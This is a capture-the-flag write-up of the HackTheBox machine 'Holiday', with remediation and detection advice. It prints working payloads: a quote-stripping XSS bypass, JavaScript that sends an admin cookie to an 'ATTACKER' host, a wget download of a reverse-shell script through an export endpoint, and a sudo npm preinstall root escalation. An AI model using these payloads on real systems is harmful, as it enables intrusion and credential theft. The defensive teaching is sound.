Overview
Holiday is a hard-rated Linux machine running Ubuntu 16.04 with a Node.js
web application on port 8000. The attack chain spans four exploitation phases:
SQL injection on the login form to extract credentials, stored XSS via booking
notes to steal an admin session cookie from a PhantomJS bot, command injection
on an export endpoint with a severely restricted character set, and privilege
escalation through sudo npm install with a malicious preinstall script.
The difficulty here is not in any single vulnerability. Each step individually is well-documented. What makes Holiday demanding is the combination of filter bypasses and character restrictions that require precise, hand-crafted payloads. The command injection phase is the most constrained I have encountered on HackTheBox: the character filter blocks hyphens, dots, colons, pipes, redirections, and most special characters, leaving only lowercase alphanumerics, ampersands, spaces, and forward slashes. Standard reverse shell one-liners all fail. The attacker must understand the underlying tools deeply enough to reconstruct their functionality within these constraints.
Reconnaissance
I start with a service-version scan:
nmap -sC -sV -oA scans/holiday 10.129.29.106
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 22 | SSH | OpenSSH 7.2p2 Ubuntu | Ubuntu 16.04 |
| 8000 | HTTP | Node.js | Booking application |
Two services. The attack surface is minimal: SSH and a custom web application. The OpenSSH version maps to Ubuntu 16.04 (Xenial), which is consistent across both ports.
During initial HTTP requests, I notice the application returns empty responses unless the User-Agent header contains “Linux”. This is a server-side check in the Node.js application, not a standard web server behaviour. All subsequent HTTP tooling needs a custom User-Agent. I set this globally in Burp’s project-level match-and-replace rules.
Attack Surface Analysis
Web application enumeration
The application at http://10.129.29.106:8000/ presents a booking management
system with a login form at /login. Directory brute-forcing with gobuster
(using the adjusted User-Agent) reveals /admin (requires authentication) and
/agent (the booking management interface, also authenticated).
No version banners are exposed. The response headers confirm Node.js but disclose no framework information. The application does not set security headers (no CSP, no X-Frame-Options, no X-Content-Type-Options), which becomes relevant during the XSS phase.
Login form: SQL injection
The /login endpoint accepts username and password parameters via POST.
Manual testing with a single quote in the username field produces a 500 error,
which signals an injection point. The application uses SQLite as its backend
database; I confirm this from the error message structure (SQLite errors differ
from MySQL and PostgreSQL in their phrasing).
I run sqlmap with elevated detection parameters because the injection is
boolean-blind rather than error-based or UNION-based. The standard --level=1
misses it:
sqlmap -r sqlmap.req --level=5 --risk=3 --dump-all --user-agent="Mozilla/5.0 (X11; Linux x86_64)"
The --level=5 flag tells sqlmap to test additional injection points
(cookies, User-Agent, Referer) and more payload variations. --risk=3 enables
time-based and OR-based injections that might cause data modification. Both are
necessary here because the injection requires a specific payload structure that
lower levels do not attempt.
| Attribute | Value |
|---|---|
| CWE | CWE-89 (SQL Injection) |
| CVSS 3.1 | 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Root cause | User input concatenated directly into SQL query string |
| Prerequisite | None (unauthenticated) |
The users table contains one entry:
| id | active | username | password |
|---|---|---|---|
| 1 | 1 | RickA | fdc8cd4cff2c19e0d1022e78481ddf36 |
The MD5 hash cracks to nevergonnagiveyouup via CrackStation. Unsalted MD5
for password storage: two problems in one column.
Booking notes: stored XSS target
After logging in as RickA, the application allows creating bookings with a freeform notes field. These notes appear in an admin review queue. A PhantomJS 2.1.1 headless browser visits the review page approximately every 60 seconds, simulating an administrator reviewing pending bookings.
The admin’s session cookie is stored in a hidden form input
(document.getElementsByName("cookie")[0].value) rather than as a standard
HTTP cookie. This means document.cookie is empty in the bot’s context; the
XSS payload must read the cookie from the DOM element directly. I discover this
by injecting a simple document.cookie exfiltration first, receiving an empty
string, then inspecting the page source through a second XSS payload that
exfiltrates document.body.innerHTML.
Vulnerability Analysis
XSS filter bypass
The XSS filter on booking notes is a denylist approach. I test systematically to map what is allowed and what is stripped:
<script>tags: blocked entirely (removed from output)<img>tags: whitelisted, but quotes are stripped from attribute values- Event handlers (
onerror,onload,onfocus): stripped case-insensitively - Angle brackets within attribute values: entity-encoded
javascript:protocol insrc/href: blocked<svg>,<iframe>,<object>: blocked
The filter’s weakness is that it processes <img> tags but does not prevent
the src attribute from containing content that breaks out of the tag context.
If quotes are stripped, the following payload causes the src to close
prematurely and introduces a new tag:
<img src="/><script>eval(String.fromCharCode(CODES))</script>" />
After quote stripping, this becomes:
<img src=/><script>eval(String.fromCharCode(CODES))</script> />
The browser parses <img src=/> as a self-closing image tag, then encounters
a valid <script> block. The <script> tag itself is not caught by the filter
because it appears inside what the filter believes is an attribute value (the
filter processes the string before quote removal, so the <script> is inside
quotes at filter-evaluation time, but outside quotes at render time).
String.fromCharCode avoids any keyword-based filtering within the script body.
The character codes decode to arbitrary JavaScript at runtime.
| Attribute | Value |
|---|---|
| CWE | CWE-79 (Stored Cross-Site Scripting) |
| CVSS 3.1 | 8.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N) |
| Root cause | Denylist-based input sanitisation with a processing order flaw |
| Prerequisite | Authenticated user (RickA) |
The root cause is the mismatch between when the filter evaluates and when the
browser parses. The filter sees <script> inside an attribute value and ignores
it; the browser sees it outside the attribute because quotes have been removed.
This class of vulnerability (filter/parser differential) appears in nearly every
custom XSS filter implementation.
Exploitation
Phase 1: stored XSS to steal admin cookie
I set up a Python HTTP server on port 80 to serve the XSS payload and capture
the exfiltrated cookie. The JavaScript payload encoded via String.fromCharCode:
document.write('<script src="http://ATTACKER/holiday.js"></script>');
The holiday.js file reads the cookie from the DOM hidden input and
exfiltrates it:
var cookie = document.getElementsByName("cookie")[0].value;
new Image().src = "http://ATTACKER/steal?c=" + cookie;
I submit a booking with the crafted <img> payload in the notes field. Within
60 seconds, the PhantomJS bot processes the note and my HTTP server receives:
GET /steal?c=<admin_session_token> HTTP/1.1
I failed on the first two attempts. The first used document.cookie (empty, as
described above). The second tried loading the external script from port 9999,
which worked from my browser but not from PhantomJS; the bot’s environment had
outbound restrictions that only permitted port 80. Switching to port 80 resolved
it.
Phase 2: command injection on export endpoint
The admin session cookie unlocks the /admin dashboard, which includes an
/admin/export endpoint. This endpoint accepts a table parameter and
generates a CSV export. The parameter value is interpolated into a shell
command server-side.
I confirm command execution by appending &id to the table name:
GET /admin/export?table=bookings%26id
Response includes:
uid=1001(algernon) gid=1001(algernon) groups=1001(algernon)
The & character works because the shell interprets it as a command separator.
The application runs as user algernon.
The character filter is the real challenge. Through systematic testing (sending
each printable ASCII character individually and checking the response), I map
the permitted set to approximately [a-z0-9&\s\/]. Everything else returns a
400 error. This blocks:
- Hyphens: cannot use command flags (
-e,-o,-c) - Dots: cannot reference files (
user.txt) or IP addresses (10.129.x.x) - Colons: cannot specify ports in URLs (
http://IP:PORT) - Pipes: cannot chain commands with
| - Redirections: cannot write output with
>or read input with< - Backticks and dollar signs: cannot use command substitution
- Semicolons: cannot use alternative command separators
The approach I settle on after several failed attempts: use wget to download
a reverse shell script from my HTTP server on port 80 (default port, no colon
needed). The IP address is expressed in hexadecimal notation to avoid dots.
An IPv4 address can be represented as a single 32-bit hexadecimal integer. For
example, 10.10.14.5 becomes 0x0a0e0e05. Most networking tools, including
wget, accept this format. This bypasses the dot restriction entirely.
GET /admin/export?table=bookings%26wget+0x0a0e0e05/shell
My HTTP server on port 80 serves a file named shell containing a bash reverse
shell. The wget command downloads it to the current working directory.
I tried curl first, but curl requires flags (-o for output) which contain
hyphens. wget without flags downloads to the current directory with the remote
filename, making it usable within the character restrictions.
Executing the downloaded script:
GET /admin/export?table=bookings%26bash+shell
A reverse shell connects back as algernon. User flag obtained.
Phase 3: privilege escalation via sudo npm install
With a shell as algernon, I check sudo permissions:
sudo -l
# (ALL) NOPASSWD: /usr/bin/npm i *
The wildcard after npm i means any argument is accepted. npm install
processes a package.json file in the target directory and executes any
lifecycle scripts defined within it. The preinstall script runs before
package resolution, as the invoking user (root, via sudo).
I create a minimal package.json in /tmp/privesc/:
{
"name": "privesc",
"version": "1.0.0",
"scripts": {
"preinstall": "/bin/bash"
}
}
cd /tmp/privesc
sudo /usr/bin/npm i /tmp/privesc --unsafe-perm
The --unsafe-perm flag (or --unsafe in older npm versions) tells npm to run
lifecycle scripts as the current user rather than downgrading to nobody. Since
the current user is root (via sudo), the preinstall script executes
/bin/bash as root.
Root shell obtained. Root flag collected.
| Attribute | Value |
|---|---|
| CWE | CWE-269 (Improper Privilege Management) |
| Root cause | Sudo rule grants root execution of a package manager that runs arbitrary scripts |
| Prerequisite | Shell access as algernon |
Post-Exploitation
The system runs Ubuntu 16.04 with kernel 4.4.0. The Node.js application runs
as algernon and spawns PhantomJS 2.1.1 for admin note review. PhantomJS
2.1.1 is based on an outdated WebKit engine (circa 2016) with known
vulnerabilities including CVE-2017-2446 and CVE-2017-2447; in a production
environment, this would be an additional attack vector for browser-based
exploitation against the server itself, not just cookie theft.
The SQLite database is stored in the application directory with no filesystem encryption. The booking notes table contains the XSS payloads from the exploitation phase, which would persist and re-trigger on any future admin review.
The sudo npm install configuration is the most critical finding from a
defensive perspective. npm lifecycle scripts execute arbitrary code by design.
Granting sudo access to npm i with a wildcard is functionally equivalent to
(ALL) NOPASSWD: ALL.
Defensive Analysis
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Initial Access | T1190 | SQLi signatures in WAF; boolean-blind probing patterns in logs |
| Execution | T1059.007 | XSS payload in stored content; JavaScript in booking notes |
| Credential Access | T1539 | Cookie exfiltration via outbound HTTP from PhantomJS process |
| Execution | T1059.004 | Command injection; & followed by system commands in URL parameters |
| Privilege Escalation | T1548.003 | sudo npm execution; new process tree rooted at npm with root UID |
The XSS filter demonstrates why denylists fail. The developer blocked
<script> tags, event handlers, and certain attribute patterns, but missed the
processing order flaw where content evaluated as safe (inside an attribute) is
rendered as unsafe (outside the attribute after quote stripping). Content
Security Policy headers would have prevented the external script load regardless
of the XSS payload structure. A single script-src 'self' directive would have
neutralised this entire phase.
The command injection filter is a second denylist failure. The developer blocked
dangerous characters but left & (a shell command separator) in the permitted
set. An allowlist of table names (e.g. bookings, users, agents) rather
than a character filter on arbitrary input would have eliminated the injection
entirely.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Remove sudo npm install from algernon’s sudoers | Low | Critical |
| P0 | Fix SQL injection with parameterised queries (prepared statements) | Medium | Critical |
| P0 | Replace denylist XSS filter with contextual output encoding (template auto-escaping) | Medium | Critical |
| P1 | Deploy CSP headers: script-src 'self'; object-src 'none' | Low | High |
| P1 | Store session tokens as HttpOnly, Secure cookies | Low | High |
| P1 | Allowlist table names in the export endpoint; reject anything not in the list | Low | High |
| P2 | Replace PhantomJS with Puppeteer (maintained Chromium) | Medium | Medium |
| P2 | Restrict outbound connections from the application server | Medium | Medium |
| P2 | Hash passwords with bcrypt/argon2 instead of unsalted MD5 | Low | Medium |
| P3 | Upgrade to a supported Ubuntu release | High | Medium |
The sudo npm configuration deserves special attention. npm install is a code
execution primitive. Granting it sudo access is equivalent to granting
unrestricted root. This pattern appears in production environments more often
than it should, typically in CI/CD pipelines where developers add npm to sudoers
“temporarily” to resolve a permissions issue, then never remove it. The same
principle applies to pip, gem, cargo, and every other package manager with
lifecycle hooks.
Key Takeaways
-
Stored XSS against automated bots is a real attack pattern. The PhantomJS admin bot simulates a common scenario: automated systems that process user-submitted content. Ticketing systems, CMS moderation queues, and customer support platforms all present this attack surface. If the system processes HTML content in a browser context, stored XSS can steal session tokens regardless of whether a human is on the other end.
-
Character-restricted command injection requires understanding the tools, not just the syntax. When the character filter blocks most special characters, the attacker cannot rely on memorised one-liners. Hexadecimal IP representation, default ports, and tool-specific behaviours (wget saves to the current directory without flags) become necessary. The constraint on Holiday is severe enough that I failed with three different approaches before finding one that worked within
[a-z0-9&\s\/]. -
Custom XSS filters have a processing order problem. The filter and the browser parse the same HTML differently. The filter evaluates the input in one state (quotes present); the browser renders it in another (quotes stripped). This differential is inherent to denylist filtering. Contextual output encoding (escaping
<,>,",',&at the template layer) and CSP are the correct mitigations because they operate at render time, not at input time. -
npm lifecycle scripts are code execution. Any npm command that processes a
package.jsonfile will execute lifecycle scripts (preinstall,postinstall,prepare). Granting sudo access to npm is granting sudo access to arbitrary code. Audit every sudoers entry that references a package manager; if it accepts user-controlled input (a path or package name), it is a privilege escalation vector.